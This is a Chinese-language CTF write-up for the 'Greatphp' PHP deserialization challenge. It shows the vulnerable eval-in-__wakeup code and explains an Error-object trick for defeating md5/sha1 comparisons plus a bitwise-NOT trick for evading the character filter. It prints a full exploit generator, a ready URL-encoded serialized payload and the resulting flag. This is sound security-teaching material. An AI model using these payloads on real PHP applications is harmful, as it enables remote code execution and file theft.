[极客大挑战 2020]Greatphp
打开题目是一段php反序列化代码
<?php
error_reporting(0);
class SYCLOVER { //定义了一个SYCLOVER类
public $syc; //定义了两个公共属性$syc,$lover
public $lover;
public function __wakeup(){ //在反序列化对象时触发__wakeup()方法
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
//禁止syc中包含 <?php ( ) " ' 这些字符,这就不能直接调用函数,不能使用字符串
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){ //检查GET参数great是否存在
unserialize($_GET['great']); //对great参数的值进行反序列化,这是会触发__wakeup()方法
} else {
highlight_file(__FILE__);
}
?>
要满足
1.syc和lover的值不相等
2.两者md5值完全相等
3.两者sha1值完全相等
我们可以让 syc 和 lover 成为两个内容不同的数组, 但是由于还要eval执行的值(因为eval() 需要的是字符串 ),所以我们就不能用数组绕过
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
所以,我们考虑php中的内置类,也就是原生类
PHP 内置的 Error 和 Exception 类都有 __toString() 方法, 意思就是当这两个类的对像需要被转换成字符串的时候就会调用 _toString(),当在进行md5()以及sha1() 的强类型比较时,PHP 会将对象隐式转换为字符串,从而触发其内部的 _toString()魔术方法。这个方法返回的字符串格式通常是:
类名: 错误信息 in 文件名:行号
Error:用于PHP7、8,开启报错。
Exceotion:用于PHP5、7、8,开启报错。会自动调用__tostring
在 PHP 的 Exception 类中,构造函数实际上可以接收三个参数,尽管在大多数情况下,只使用前两个参数就足够了。这三个参数分别是:
消息(message):这是一个字符串,用于描述异常的具体原因或情况。它是构造函数的第一个参数,也是必须提供的参数。
代码(code):这是一个整数,用于提供异常的特定代码。它是可选的,但在某些情况下,它可能有助于识别或分类异常。如果没有提供,它默认为 0。
前一个异常(previous):这是一个 Exception 对象,用于表示当前异常之前发生的异常。这是可选的,但在处理异常的链式传递时非常有用。如果提供了这个参数,那么当前的异常就被视为前一个异常的"子异常"或"后继异常"。
而当该对象作为字符串输出是之后输出消息以及错误代码的行数 ( 重点 )
例如:
<?php
$a = new Exception("payload",1);$b = new Exception("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
?>

返回的结果是一样的,所以MD5和sha1()结果是一样的,所以我们可以通过上面的特性来绕过强类型比较
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include /flag使用include包含/flag;
由于过滤了引号,于是可以使用为了传入 /flag这个字符串,我们可以使用URL 取反
<?php
class SYCLOVER
{
public $syc;
public $lover;
public function __wakeup()
{
if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {
if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A44%3A%22F%3A%5Cphpstorm_2025_crack_and_install%5Czp%5Czp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A23%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A44%3A%22F%3A%5Cphpstorm_2025_crack_and_install%5Czp%5Czp.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A23%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

得到flag:flag{5c072540-6643-455d-8a91-a11f84497885}